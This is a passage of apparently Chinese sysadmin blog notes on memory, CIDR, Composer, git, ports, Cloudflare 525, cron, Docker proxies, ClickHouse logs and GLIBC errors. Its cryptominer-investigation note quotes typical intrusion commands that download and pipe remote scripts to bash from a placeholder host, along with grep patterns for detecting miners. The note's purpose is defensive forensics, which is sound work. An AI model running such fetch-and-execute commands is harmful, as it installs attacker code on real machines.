的情况,某个进程突然吃到 15G 内存,系统会直接触发 OOM Killer: Killed process 12345 (python) Killed process 23456 (mysqld)杀谁看 oom_score(内核给每个进程算一个"该杀分数"),基本是"占内存多、优先级低"的先中招。 加个 swap(4G) sudo fallocate -l 4G /swapfile sudo chmod 600 /swapfile sudo mkswap /swapfile sudo swapon /swapfile验证: free -h # Swap: 4.0Gi ...开机自动挂载: echo '/swapfile swap swap defaults 0 0' | sudo tee -a /etc/fstabSwap 大小经验:内存 < 2G:swap 是内存的 2 倍 内存 2-8G:swap 等于内存 内存 > 8G:swap 2-4G 或者干脆不开(数据库服务器)找谁在吃内存 RSS 排序(真实占用物理内存): ps aux --sort=-rss | head -20或者 top 里按 M 排。列 RES才是实际占用,VIRT(虚拟内存)意义不大。 看某个进程详情: cat /proc/<PID>/status | grep -E 'VmRSS|VmSize'看具体是哪部分: pmap -x <PID> | tail -1MySQL / Redis / Java 类"吃内存大户" 这些程序的内存占用大多是配置定的:MySQL:innodb_buffer_pool_size,默认可能占 70% 内存 Redis:maxmemory,不配就吃到爆 Java:-Xmx 设堆大小,不设 JVM 会按机器算上生产前把这些参数对着物理内存卡好,不然多进程叠加轻松超总内存。 Linux OOM 前的预警 看 dmesg 有没有: sudo dmesg -T | grep -i "oom\|killed"Out of memory: Killed process 12345 (python) total-vm:15234567kB看到这个说明已经杀过了。生产上应该主动监控——node_exporter + Prometheus 采 node_memory_MemAvailable_bytes,跌破阈值发告警。 一句话总结 free -h 看的是 available,不是 free;buff/cache 是好东西不是问题。没 swap 的服务器建议加 4G 兜底,主要吃内存的程序(MySQL / Redis / Java)参数要卡死。

CIDR 表示法:/24、/32 的含义和只匹配单个 IP 的写法

CIDR(无类别域间路由)用"IP地址/前缀长度"表示一段 IP 范围,前缀长度决定有多少个 IP 被包含在内。 /24 不等于单个 IP 43.255.122.56/24 表示前 24 位固定,等价于: 43.255.122.0 - 43.255.122.255共 256 个地址,包含 43.255.122.56,但也包含同网段的所有其他地址。 只匹配单个 IP:使用 /32 IPv4 地址是 32 位,/32 表示所有 32 位都固定: 43.255.122.56/32 → 仅匹配 43.255.122.56配置防火墙、ACL、路由规则、Cloudflare IP 规则时,允许或封禁单个 IP 都应使用 /32: # iptables iptables -A INPUT -s 43.255.122.56/32 -j ACCEPT# Nginx allow 43.255.122.56/32;如果不要求 CIDR 格式,直接写 IP 不加后缀也等同于 /32: 43.255.122.56常用前缀长度对照写法 匹配范围 地址数x.x.x.x/32 仅这一个 IP 1x.x.x.x/31 2 个(常用于点对点链路) 2x.x.x.x/30 4 个 4x.x.x.x/29 8 个 8x.x.x.x/28 16 个 16x.x.x.0/24 256 个(常见局域网段) 256x.x.0.0/16 65536 个 65536x.0.0.0/8 16777216 个(A 类网络) 167772160.0.0.0/0 所有 IPv4 地址 全部前缀长度与地址数的计算 地址数 = 2^(32 - 前缀长度)/32 → 2^0 = 1 /24 → 2^8 = 256 /16 → 2^16 = 65536网络地址与广播地址 在标准 IPv4 子网中,最小地址(如 43.255.122.0)是网络地址,最大地址(43.255.122.255)是广播地址,可用主机地址是中间的 254 个。但在防火墙规则和 CIDR 匹配中,这个区分通常不重要,/24 就是匹配全部 256 个地址。

ThinkPHP 5.1 / PhalApi 老项目 Composer 兼容性修复:Composer 2 报错与 composer.lock 镜像污染

部署老 PHP 项目时,composer install 报错往往是 Composer 版本与框架不兼容,或者 lock 文件里记录了失效的镜像地址。 基本部署脚本 #!/bin/bashcd /www/wwwroot/project || exit 1 git pull origin main不依赖 cd 的写法: git -C /www/wwwroot/project pull origin mainComposer 2 与 ThinkPHP 5.1 不兼容 典型错误: topthink/think-installer v2.0.0 requires composer-plugin-api ^1.0 found composer-plugin-api[2.9.0]原因:think-installer v2.0.0 只支持 Composer 1.x,而 Composer 2.x 内置的 composer-plugin-api 是 2.9.0。 确认版本: composer -V降级到 Composer 1(推荐) composer self-update --1 # 或指定版本 composer self-update 1.10.27然后: composer install如果项目目录里有 composer.phar(旧版本): php composer.phar install注意:Packagist 已于 2025-09-01 停止支持 Composer 1 对于无 composer.lock 的老项目,Composer 1 的 composer update 无法重新解析依赖,因为 Packagist 已不提供 Composer 1 格式的包数据。 如果 lock 文件还在,composer install 仍然可以按 lock 文件安装。 dev-master 是什么 "phalapi/task": "dev-master"dev-master 表示直接跟踪 Git 仓库的 master 分支最新提交,不安装正式 release 版本。需要在 composer.json 里声明: "minimum-stability": "dev"才能安装。风险:每次 composer update 拉的内容不固定,接口可能变动。GitHub 默认分支改名后,新项目改用 dev-main。 composer.lock 里的阿里云镜像污染 如果 lock 文件在其他人的阿里云镜像环境下生成,里面会固化 dist URL: "dist": { "url": "https://mirrors.aliyun.com/composer/dists/%package%/%reference%.%type%" }执行 composer install 时 Composer 严格按照 lock 安装,会尝试从这个地址下载,触发: Authentication required (mirrors.aliyun.com): Username:检测 grep -n "mirrors.aliyun.com" composer.lock修复方案 方案 1:--prefer-source(推荐快速处理) php composer.phar install --prefer-source优先 git clone 源码,绕过 dist zip 下载,大多数情况能直接解决。 方案 2:重新生成 lock rm composer.lock rm -rf vendor php composer.phar clear-cache php composer.phar update重新生成后验证: grep "mirrors.aliyun.com" composer.lock应该没有任何结果。 方案 3:从仓库恢复 lock 如果 lock 是仓库管理的: git checkout composer.lock然后再用 --prefer-source 安装。 PhalApi 2.x 依赖安装成功的标志 Generating autoload files这行出现且后面没有 RuntimeException / Installation failed,说明安装成功。然后验证: php -r "require 'vendor/autoload.php'; echo 'OK';"PHP 版本建议 ThinkPHP 5.1 / ThinkCMF 5.1 / PhalApi 2.x 老项目:PHP 7.2 ~ 7.4:最稳定 PHP 8.0+:可能遇到 each()、create_function() 等已删除函数报错

git pull --rebase 报 unstaged changes 的四种处理方法

报错场景 git pull --rebase输出: error: cannot pull with rebase: You have unstaged changes. error: please commit or stash them.这是 Git 在执行 rebase 前的保护机制:工作区有未提交修改时,rebase 可能覆盖这些改动,所以拒绝继续。 先确认修改范围: git status方案一:暂存后拉取再恢复(最常用) 保留改动,暂时藏起来: git stash git pull --rebase git stash popstash pop 会把改动重新应用到工作区。如果有冲突,手动解决后 git stash drop 清掉暂存记录。 查看所有 stash: git stash list # stash@{0}: WIP on main: abc1234 last commit message恢复指定 stash(保留记录): git stash apply stash@{0}方案二:提交后再 rebase 如果改动已经完整,直接提交: git add . git commit -m "WIP: 临时提交" git pull --rebaserebase 会把这次提交放在远端最新提交之后,之后可以 git commit --amend 修改提交信息或 git rebase -i HEAD~2 整理提交记录。 方案三:丢弃本地修改 如果这些修改确定不要了: git reset --hard HEAD git pull --rebase如果还有未跟踪的文件也想清掉: git clean -fdreset --hard 和 clean -fd 都是不可逆操作,请确认后执行。方案四:开启自动 stash(推荐长期配置) 新版 Git 支持 --autostash 标志,在 rebase 前自动暂存、完成后自动恢复: git pull --rebase --autostash一次性使用;也可以永久开启: git config --global rebase.autoStash true开启后 git pull --rebase 自动执行以下流程: stash → pull --rebase → stash pop场景速查情况 推荐方案改动要保留,不想提交 stash → pull → stash pop改动完整,可以提交 commit → pull --rebase改动不需要了 reset --hard → pull日常频繁拉取 rebase.autoStash = true常见追问 stash pop 有冲突怎么办? 手动解决冲突后: git add <冲突文件> git stash drop # 清掉 stash 记录为什么不直接 git pull 而是 --rebase? git pull 默认是 fetch + merge,会产生 merge commit;--rebase 把本地提交移到远端之后,保持线性历史,更干净。 git stash 会暂存未跟踪文件吗? 默认不会。加 -u 参数: git stash -u # 包含 untracked files git stash -a # 包含 untracked + ignored files

Windows 查看端口被哪个进程占用:netstat / PowerShell / 资源监视器

cmd 方式(最常用) 打开命令提示符(管理员权限更好),查看指定端口: netstat -ano | findstr :9000输出示例: TCP 0.0.0.0:9000 0.0.0.0:0 LISTENING 12345末尾的 12345 是进程 PID,再查进程名: tasklist | findstr 12345输出: php-cgi.exe 12345 Console 1 25,200 Kphp-cgi.exe 就是占用 9000 端口的进程。 PowerShell 方式 直接查指定端口: Get-NetTCPConnection -LocalPort 9000输出包含 OwningProcess(PID),再查进程: Get-Process -Id (Get-NetTCPConnection -LocalPort 9000).OwningProcess这一条命令可以直接得到进程名,不需要中间步骤。 资源监视器(图形界面) 运行 resmon,进入「网络」→「监听端口」选项卡,直接看各进程占用的端口列表,也可以在「CPU」→「关联的句柄」里搜索端口号。 释放端口(结束进程) 拿到 PID 后,cmd: taskkill /F /PID 12345PowerShell: Stop-Process -Id 12345 -Force/F 或 -Force 表示强制终止,不等进程自行退出。 常见场景现象 原因启动服务报 Address already in use 端口被其他程序占用多个服务共用同一端口 需要改端口配置php-cgi / node / java 没停干净 上次启动的进程残留找到 PID 之后,先确认进程名再决定是否结束——别误杀系统进程。

开源网盘工具对比:AList / Cloudreve / go-drive

想把 Google Drive 变成自己的网盘前端,有几款成熟的开源工具可以选。 AList(最推荐,个人使用) 定位:单用户多存储聚合,支持在线播放和分享 支持的存储后端:Google Drive、OneDrive、S3、WebDAV、阿里云盘、百度网盘等,几乎覆盖所有主流云存储。 Docker 一键部署: docker run -d \ --name alist \ -p 5244:5244 \ -v /opt/alist:/opt/alist/data \ xhofe/alist:latest初始密码: docker exec -it alist ./alist admin random特点:部署极简,资源占用极低 支持视频在线播放、图片预览 支持目录密码、分享链接 WebDAV 挂载(可接 rclone、Infuse)适合:个人云盘聚合展示,或用 WebDAV 将 Google Drive 挂载到本地工具。 Cloudreve(多用户场景) 定位:完整的网盘系统,支持用户注册和管理 比 AList 功能更重,适合做小型共享网盘站:多用户注册/管理 文件分享链接(有效期、访问次数) WebDAV 支持 离线下载(Aria2 集成) 后台管理面板 存储策略(本地/OneDrive/S3/七牛等)docker run -d \ --name cloudreve \ -p 5212:5212 \ -v /opt/cloudreve:/cloudreve/uploads \ cloudreve/cloudreve:latest适合:需要用户系统、搭建私有云盘分享站的场景。 go-drive(多云聚合) 定位:专注将多个云盘聚合成统一视图 支持:Google Drive、OneDrive、Dropbox、S3、WebDAV、本地存储。 特点:前后端分离,Docker 部署 支持直接上传到各云盘(不经过中转服务器) 断点续传适合:纯聚合需求,不需要用户系统。 功能对比功能 AList Cloudreve go-driveGoogle Drive 支持 ✅ ✅ ✅多用户 ❌ ✅ ❌离线下载 ❌ ✅ ❌视频在线播放 ✅ ✅ ✅部署复杂度 低 中 低资源占用 极低 中 低选择建议个人用:AList,Docker 部署 5 分钟搞定 小团队共享:Cloudreve,有用户管理 多云盘统一入口:AList 或 go-drive 需要离线下载:Cloudreve + Aria2Google Drive 授权配置 以 AList 为例,管理后台 → 存储 → 添加 → Google Drive:在 Google Cloud Console 创建 OAuth 2.0 凭据 填入 Client ID 和 Client Secret 点击授权,完成 OAuth 流程 授权后即可访问 Google Drive 的全部内容注意:Google Drive API 有每日配额限制(默认 100 次/秒、每日 10 亿次查询),个人使用基本不会触及。

Cloudflare 525 SSL Handshake Failed:原因排查与修复方法

Cloudflare 525 错误发生在 Cloudflare 与源站之间,不是用户与 Cloudflare 之间。含义:Cloudflare 已经接收到请求,但无法与源站完成 TLS 握手。 快速检测源站 TLS openssl s_client -connect 源站IP:443 -servername 你的域名正常握手会看到: New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384如果出现 handshake failure,问题在 Nginx 或证书配置。 原因一:Nginx 未使用 fullchain 证书(最常见) Let's Encrypt 证书必须用 fullchain.pem,不能只用叶证书: # 正确 ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;检查: nginx -T | grep ssl_certificate如果配置的是 cert.pem 而非 fullchain.pem,Cloudflare 会因为证书链不完整而报 525。 openssl 验证时看到这行也是同一问题: verify error:num=20:unable to get local issuer certificate原因二:TLS 版本过低 Cloudflare 要求至少 TLS 1.2。Nginx 配置: ssl_protocols TLSv1.2 TLSv1.3;原因三:Cipher Suite 过于严格 ssl_ciphers HIGH:!aNULL:!MD5;检查源站支持的 cipher: nmap --script ssl-enum-ciphers -p 443 源站IP原因四:开启了客户端证书验证 ssl_verify_client on;Cloudflare 无法提供匹配的客户端证书,直接导致 525。 检查: nginx -T | grep verify_client原因五:443 端口未监听 telnet 源站IP 443或: curl -vk https://源站IP如果 Connection refused 说明 Nginx 没有监听 443。 原因六:IPv6 配置问题 Cloudflare 可能优先走 IPv6: dig AAAA 你的域名如果有 AAAA 记录,但 Nginx 的 IPv6 监听或防火墙有问题: openssl s_client -connect [IPv6地址]:443 -servername 你的域名测试是否成功。 Cloudflare SSL 模式 Cloudflare Dashboard → SSL/TLS → Overview 查看当前模式:模式 要求Flexible 源站无需 HTTPSFull 源站需要 HTTPS,证书可自签Full (strict) 源站需要有效证书,证书链完整使用 Full (strict) 时,源站必须配置 fullchain.pem。 完整排查步骤 # 1. 检查证书配置 nginx -T | grep ssl_certificate# 2. 测试握手(替换为实际源站 IP) openssl s_client -connect 源站IP:443 -servername 你的域名# 3. 检查 IPv6 dig AAAA 你的域名# 4. 检查客户端验证 nginx -T | grep verify_client# 5. 直接用 curl 测试 curl -Iv https://你的域名

PID 和端口互查:Linux 和 Windows 的常用命令

调试服务、清理端口占用、看某个进程到底连了哪儿——PID 和端口互查是日常操作。整理一份速查。 Linux:按端口找 PID 现代系统首选 ss(netstat 老了,很多发行版默认不装): ss -lntp | grep :8080输出: LISTEN 0 128 *:8080 *:* users:(("java",pid=12345,fd=45))PID 就是 12345。要看 UDP 加 -u,全协议 ss -tulnp。 lsof 也行,输出更清楚: sudo lsof -i:8080Linux:按 PID 找端口 ss -tunp | grep "pid=12345"或者: sudo lsof -Pan -p 12345 -i后者会同时列出该进程的所有连接(监听 + 已连接),排查网络问题特别顺手: COMMAND PID USER FD TYPE DEVICE NAME java 12345 root 45u IPv4 TCP *:8080 (LISTEN) java 12345 root 46u IPv4 TCP 10.0.0.5:8080->8.8.8.8:443 (ESTABLISHED)Linux:查所有监听端口 ss -lntp # TCP ss -lunp # UDP ss -tulnp # 全部Windows:按端口找 PID netstat -ano | findstr :8080输出最后一列是 PID。看进程名: tasklist | findstr 12345PowerShell 版本更直观: Get-NetTCPConnection -LocalPort 8080 | Select-Object LocalAddress, State, OwningProcess | Format-TableWindows:按 PID 找端口 netstat -ano | findstr 12345PowerShell: Get-NetTCPConnection | Where-Object OwningProcess -eq 12345Docker 里的进程 服务在容器里跑,宿主机 ss 只看到 docker-proxy。有两种方式: 宿主机上看容器映射: docker ps --format 'table {{.Names}}\t{{.Ports}}'进容器里看真实进程: docker exec -it <container> ss -lntpWindows:把占端口的进程杀掉 一条链: for /f "tokens=5" %a in ('netstat -ano ^| findstr :8080 ^| findstr LISTENING') do taskkill /PID %a /F或者 PowerShell: Get-NetTCPConnection -LocalPort 8080 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }Linux:一条命令连查带杀 sudo fuser -k 8080/tcpfuser 会把所有占用 8080/TCP 的进程直接杀掉,慎用。 一个小坑:找不到 PID Linux 上 ss 或 lsof 有时看不到 PID: users:(("java",pid=?,fd=?))多半是没加 sudo——别的用户的进程只有 root 能看。 Windows 上 netstat -ano 看到 PID 4 的东西一般是内核网络栈(System 进程),不是你的应用。 一句话总结 Linux 用 ss -lntp + lsof,Windows 用 netstat -ano + tasklist。PowerShell 用户直接上 Get-NetTCPConnection 更顺。

Linux 上 cron 定时任务不跑?先查 cron 服务本身

写好一条 crontab,等到点没触发,先怀疑不是 cron 表达式的问题,是 cron 服务本身。Debian 系和 RHEL 系的服务名和日志路径都不一样,一步步查。 第一步:确认服务在跑 Debian / Ubuntu — 服务名叫 cron: systemctl status cron sudo systemctl start cron # 没起就启动 sudo systemctl enable cron # 开机自启CentOS / Rocky / AlmaLinux — 服务名叫 crond: systemctl status crond sudo systemctl start crond sudo systemctl enable crond粗暴验证: ps -ef | grep -E 'cron|crond'看到常驻进程就没死。 第二步:确认任务被 cron 读到了 用户任务: crontab -l # 查看 crontab -e # 编辑系统级任务分散在这几处: cat /etc/crontab ls /etc/cron.d/ ls /etc/cron.{hourly,daily,weekly,monthly}/cron 表达式必须以换行结尾——最后一条任务后没换行,很多 cron 实现会直接忽略这一条。 第三步:看日志 Ubuntu / Debian: grep CRON /var/log/syslog或走 journalctl: journalctl -u cron -fCentOS / Rocky: grep CRON /var/log/cron tail -f /var/log/cron journalctl -u crond -f日志里应该能看到每次触发的 (user) CMD (...)。看不到说明 cron 根本没执行这条:检查表达式、用户、文件位置。 第四步:cron 环境是"最小 shell" crontab 里的命令继承的 PATH 极简,通常只有 /usr/bin:/bin。写 python 会找不到,得写绝对路径: * * * * * /usr/bin/python3 /home/user/task.py或者在 crontab 里显式设 PATH: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin * * * * * python3 /home/user/task.py第五步:脚本挂了但看不到报错 cron 默认把 stdout/stderr 发邮件,服务器上一般没配。把输出重定向到日志: * * * * * /path/to/task.sh >> /var/log/task.log 2>&1>> /var/log/task.log 追加、2>&1 把 stderr 合流。看日志就能知道到底哪一步失败。 常见坑速查现象 原因完全没触发 cron 服务没起 / 表达式写错手动跑脚本 OK,cron 跑挂 PATH 缺、用户身份不同、cwd 不同报"command not found" 命令写了相对路径,改绝对路径任务跑了但看不到结果 没重定向输出,看邮件或加 >> 日志最后一条任务没跑 crontab 文件末尾没换行系统 crontab 没生效 系统级 /etc/crontab 需要用户字段系统 crontab 和用户 crontab 的区别 /etc/crontab 每行必须写明执行用户: 0 3 * * * root /root/backup.shcrontab -e 编辑的用户 crontab 不需要,因为它已经是"这个用户"的。搞混了就没反应。 一句话总结 cron 任务不跑,按 服务状态 → 任务在不在 → 日志 → PATH → 输出重定向 五步走完。90% 的问题在 PATH 缺失或输出被吞。

Docker 里配代理:容器运行时和 build 阶段的正确写法

一份 docker-compose.yml,改造成让容器 和 构建过程都能走代理,看起来简单,实际上分两层——很多人只加了一层就以为好了。 场景一:容器运行时走代理 只要在 environment 里加 4 个变量(大小写都写一份最保险): services: web: build: context: . dockerfile: Dockerfile environment: http_proxy: http://host.docker.internal:7890 https_proxy: http://host.docker.internal:7890 HTTP_PROXY: http://host.docker.internal:7890 HTTPS_PROXY: http://host.docker.internal:7890 extra_hosts: - "host.docker.internal:host-gateway"host.docker.internal 是宿主机地址(Mac / Windows 原生支持) Linux 需要显式声明 extra_hosts——不然容器里根本不认这个名字宿主机上代理是 Clash / v2ray,默认端口通常 7890。用之前先在宿主机测: curl -x http://127.0.0.1:7890 https://www.google.com场景二:build 阶段也要走代理 environment 只影响运行时。build 阶段 apt install、git clone、pecl 这些走的还是宿主机网络。要让它们也走代理,得从 args 传进去,再在 Dockerfile 里 ARG + ENV。 docker-compose.yml: services: web: build: context: . dockerfile: Dockerfile args: http_proxy: http://host.docker.internal:7890 https_proxy: http://host.docker.internal:7890 extra_hosts: - "host.docker.internal:host-gateway"Dockerfile 顶部: FROM php:7.4-apacheARG http_proxy ARG https_proxyENV http_proxy=$http_proxy ENV https_proxy=$https_proxy ENV HTTP_PROXY=$http_proxy ENV HTTPS_PROXY=$https_proxy# 之后所有 apt / curl / git / composer 都会走代理写在最前面很重要——ENV 只对后续 RUN 生效。 Linux 老坑:host.docker.internal 不通 Linux 上 host.docker.internal 默认解析不了。有两种解法: 推荐:extra_hosts + host-gateway extra_hosts: - "host.docker.internal:host-gateway"这是 Docker 20.10+ 的标准写法,比手动填 IP 稳。 兜底:用 docker0 网桥 IP environment: http_proxy: http://172.17.0.1:7890前提是宿主机代理监听 0.0.0.0 或者 172.17.0.1——只监听 127.0.0.1 是不行的。 构建后清掉代理(可选) 代理只用于 build 阶段,不希望被镜像继承的话: FROM baseARG http_proxy ARG https_proxyENV http_proxy=$http_proxy https_proxy=$https_proxy RUN apt-get update && apt-get install -y curl git# 用完就抹掉 ENV http_proxy= https_proxy= HTTP_PROXY= HTTPS_PROXY=镜像跑起来后就不会带代理设置了。 一句话总结 environment 只管跑起来之后,build 阶段的代理要靠 args + ARG + ENV。Linux 上别忘 extra_hosts: host-gateway。

Docker Compose 容器内配置 HTTP 代理:environment 变量与 host.docker.internal

Docker 容器不会自动继承宿主机的代理设置,容器内部访问外网需要显式注入代理环境变量。 在 docker-compose.yml 中注入代理 在需要走代理的服务 environment 中添加: services: web: image: nginx:latest environment: http_proxy: http://172.17.0.1:7890 https_proxy: http://172.17.0.1:7890 HTTP_PROXY: http://172.17.0.1:7890 HTTPS_PROXY: http://172.17.0.1:7890 NO_PROXY: localhost,127.0.0.1,172.17.0.0/16同时写大写和小写两种形式,因为不同程序读取的环境变量名不一致(curl/wget 读小写,Java/Python 可能读大写)。 Linux 宿主机代理地址 Linux 下 Docker 默认网桥 IP 是 172.17.0.1,容器内可以用它访问宿主机上运行的代理: # 先在宿主机验证端口可达 curl 172.17.0.1:7890更推荐的写法是用 host-gateway,语义更清晰且不依赖具体网桥 IP: services: web: extra_hosts: - "host.docker.internal:host-gateway" environment: http_proxy: http://host.docker.internal:7890 https_proxy: http://host.docker.internal:7890host.docker.internal 在 macOS/Windows 的 Docker Desktop 中默认可用,Linux 需要通过 extra_hosts 手动映射。 Dockerfile 构建阶段代理 environment 只对运行中的容器生效,docker build 阶段(apt install、pip install、git clone)需要在 Dockerfile 里设置: FROM ubuntu:24.04ENV http_proxy=http://host.docker.internal:7890 ENV https_proxy=http://host.docker.internal:7890RUN apt-get update && apt-get install -y curl或者构建时通过 --build-arg 传入(更灵活,不会写死到镜像层): ARG http_proxy ARG https_proxy RUN apt-get update && apt-get install -y curldocker build \ --build-arg http_proxy=http://172.17.0.1:7890 \ --build-arg https_proxy=http://172.17.0.1:7890 \ -t myimage .常见问题 容器外能上网,容器内不行 → 忘记设置 environment 代理变量。 代理地址用 127.0.0.1 不通 → 容器的 127.0.0.1 指向容器本身而非宿主机,必须用 172.17.0.1 或 host.docker.internal。 https_proxy 写成 https:// → 代理地址的 scheme 必须用 http://,即使是 HTTPS 流量也一样: HTTPS_PROXY=https://... ← 错误 HTTPS_PROXY=http://... ← 正确

ClickHouse system 日志表清理:TRUNCATE、关闭无用日志和 TTL 配置

ClickHouse 的 system.*_log 表在生产环境不加干预,几个月就能积累几十上百 GB。 空间占用查询 SELECT database, table, formatReadableSize(sum(bytes)) size FROM system.parts GROUP BY database, table ORDER BY sum(bytes) DESC;常见爆炸表:表 典型症状text_log 大量 exception 或 debug 日志trace_log 开了 profile 或查询 traceasynchronous_metric_log metrics 刷新间隔太低metric_log 运行时间过长part_log 小批量高频 insertquery_log 高频查询立即清理 TRUNCATE TABLE system.text_log; TRUNCATE TABLE system.trace_log; TRUNCATE TABLE system.asynchronous_metric_log; TRUNCATE TABLE system.metric_log; TRUNCATE TABLE system.part_log; TRUNCATE TABLE system.query_log; TRUNCATE TABLE system.latency_log; TRUNCATE TABLE system.processors_profile_log;SYSTEM FLUSH LOGS;TRUNCATE 后空间不会立刻全部回收(还有 deleted parts 和文件系统缓存),重启服务通常能完全释放: systemctl restart clickhouse-server关闭不需要的日志 编辑 /etc/clickhouse-server/config.xml 或 /etc/clickhouse-server/config.d/*.xml: <!-- 关闭高噪音日志 --> <text_log remove="1"/> <trace_log remove="1"/> <metric_log remove="1"/> <asynchronous_metric_log remove="1"/> <processors_profile_log remove="1"/> <part_log remove="1"/>重启生效: systemctl restart clickhouse-server生产建议:保留 query_log,用于慢查询分析。其余视需要选择性保留。 设置 TTL 限制保留天数 不想完全关闭,只保留最近几天: <query_log> <database>system</database> <table>query_log</table> <flush_interval_milliseconds>7500</flush_interval_milliseconds> <ttl>event_date + INTERVAL 7 DAY DELETE</ttl> </query_log>part_log 异常:小批量写入问题 part_log 几千万行通常意味着:每条记录单独 INSERT(正确做法是批量几千到几万行) Kafka consumer batch 配置太小 频繁小事务导致 parts 积累、merge 压力大查看各表的活跃 parts 数量: SELECT table, count() FROM system.parts WHERE active GROUP BY table ORDER BY count() DESC;正常表的 parts 数在百到千量级;如果单表几万 parts,说明写入模式有问题。 query_log 分析 高频查询: SELECT query, count() FROM system.query_log GROUP BY query ORDER BY count() DESC LIMIT 20;频繁报错的查询: SELECT exception, count() FROM system.query_log WHERE type = 'ExceptionWhileProcessing' GROUP BY exception ORDER BY count() DESC LIMIT 20;不要直接删目录 rm -rf /var/lib/clickhouse/data/system/* 可能导致 metadata 不一致、启动失败或权限异常,优先使用 TRUNCATE、TTL 或 remove="1" 配置。

Linux 查找可疑进程来源:恶意挖矿木马排查

发现可疑进程 /root/.config/sys-update-daemon 时,正常系统进程不会放在用户家目录下,这类路径通常是挖矿木马或后门程序的伪装。 第一步:确认文件创建时间 stat /root/.config/sys-update-daemon重点关注:Modify:文件最后修改时间 Change:inode 变化时间 Birth:创建时间(支持 ext4)通过创建时间可以缩小入侵时间窗口。 第二步:查看进程树 pstree -asp <PID>或: ps -ef --forest | grep sys-update确认是什么进程启动了它(bash、cron、systemd、SSH session)。 第三步:检查 systemd 持久化 恶意程序最常见的持久化方式: # ���看可疑服务 systemctl list-units --type=service | grep -i update# 搜索 systemd 配置文件 grep -R "sys-update-daemon" /etc/systemd /usr/lib/systemd /root/.config/systemd 2>/dev/null如果找到 ExecStart=/root/.config/sys-update-daemon,说明已持久化。 第四步:检查 cron 任务 crontab -l grep -R "sys-update-daemon" /etc/cron* /var/spool/cron/ 2>/dev/null第五步:查看 Shell 历史(关键) history | grep -E "wget|curl|chmod|sys-update" cat ~/.bash_history | grep -E "wget|curl|sys-update|chmod \+x"常见入侵模式: curl http://x.x.x.x/1.sh | bash wget http://x.x.x.x/sys-update-daemon && chmod +x sys-update-daemon如果 history 被清空,查历史文件大小是否异常: ls -l ~/.bash_history wc -l ~/.bash_history第六步:查看 SSH 登录记录 last -a # 最近登录历史,带 IP lastlog # 每个账户最后登录重点看陌生 IP 地址。如果服务器 22 端口暴露公网,极可能被 SSH 爆破入侵。 第七步:查看网络连接 ss -antp | grep <PID> lsof -i -P -n | grep sys-update挖矿木马常见连接端口:3333、4444、5555、7777、14444(矿池端口)。 第八步:静态分析二进制 sha256sum /root/.config/sys-update-daemon strings /root/.config/sys-update-daemon | less搜索关键字: strings /root/.config/sys-update-daemon | grep -iE "xmrig|stratum|mining|pool|bot|cnc"出现 xmrig、stratum+tcp://、矿池域名基本确认是挖矿木马。 第九步:查最近被修改的文件 推断同时落地的其他恶意文件: # 最近 1 天内修改的文件 find /root /tmp /var/tmp -type f -mtime -1 2>/dev/null# 按具体时间查(替换时间为创建时间) find / -type f -newermt "2026-05-28 00:30" ! -path "/proc/*" 2>/dev/null隔离和清理 # 先杀进程 kill -9 <PID># 移除执行权限 chmod -x /root/.config/sys-update-daemon# 检查是否自动重启(有守护进程) ps -ef | grep sys-update如果持续重启,说明还有守护脚本: systemctl stop <service-name> systemctl disable <service-name> rm /etc/systemd/system/<service-name>.service常见入侵向量原因 排查命令SSH 弱密码/爆破 `last -aRedis 未授权 redis-cli config get requirepassDocker API 暴露 `ss -antp宝塔弱口令 查 Panel 访问日志Java/Jenkins/Log4j 漏洞 查应用访问日志异常请求公网暴露的服务器,SSH 默认端口 + 弱密码几乎一定会被爆破。建议:禁止密码登录,只允许 SSH 密钥认证。

GLIBC 版本不兼容:node_sqlite3.node 报 GLIBC_2.38 not found 的解决方法

Error: /lib64/libm.so.6: version `GLIBC_2.38' not found (required by node_modules/sqlite3/build/Release/node_sqlite3.node)典型场景:本地 Ubuntu 24 编译后,将整个 node_modules 上传到 CentOS 7 / Rocky 8 / 老 Ubuntu 服务器,因为 glibc 版本不匹配,native addon 加载失败。 确认系统 glibc 版本 ldd --version # ldd (GNU libc) 2.17 ← 远低于 2.38sqlite3 native addon 编译时用了 GLIBC_2.38 的符号,但服务器的 /lib64/libm.so.6 只支持到 2.17,因此 dlopen 失败。 解决方案 方案 1:服务器重新编译(推荐) 在目标服务器上重新安装或重编译 native 模块: # 进入项目目录 cd /your/project# 先删除已有 node_modules rm -rf node_modules package-lock.json# 重新安装(会在当前服务器编译 .node 文件) npm install# 或者只重编译 sqlite3 npm rebuild sqlite3如果编译报错,需要先安装编译工具链: CentOS / RHEL: yum groupinstall "Development Tools" -y yum install python3 gcc gcc-c++ make -yUbuntu / Debian: apt install build-essential python3 make g++ -y然后再执行 npm rebuild sqlite3。 方案 2:不要跨系统上传 node_modules 根本原因是 native addon 的 .node 文件是平台相关的二进制,不能跨系统复用。正确的部署流程: # 本地:只上传源码,不上传 node_modules git push # 或 scp 项目文件,排除 node_modules# 服务器:安装 npm install将 node_modules/ 加入 .gitignore 和 rsync --exclude。 方案 3:改用 better-sqlite3 sqlite3 的 native binding 经常出现编译问题。better-sqlite3 维护更活跃且通常编译更顺畅: npm uninstall sqlite3 npm install better-sqlite3API 略有不同(同步而非回调),迁移成本视代码量而定。 为什么 GLIBC 版本不能降级升级 glibc 是系统核心库,版本升级风险极高(可能导致系统无法启动),降级几乎不可能。唯一可靠的方式是在目标环境重新编译,或用 Docker 把运行环境固定下来: FROM node:18-bullseye-slim WORKDIR /app COPY package*.json ./ RUN npm install COPY . . CMD ["node", "server.js"]容器化后 glibc 版本由镜像固定,不再受宿主机影响。

Node 报 GLIBC_2.38 not found 的根因和四种解法

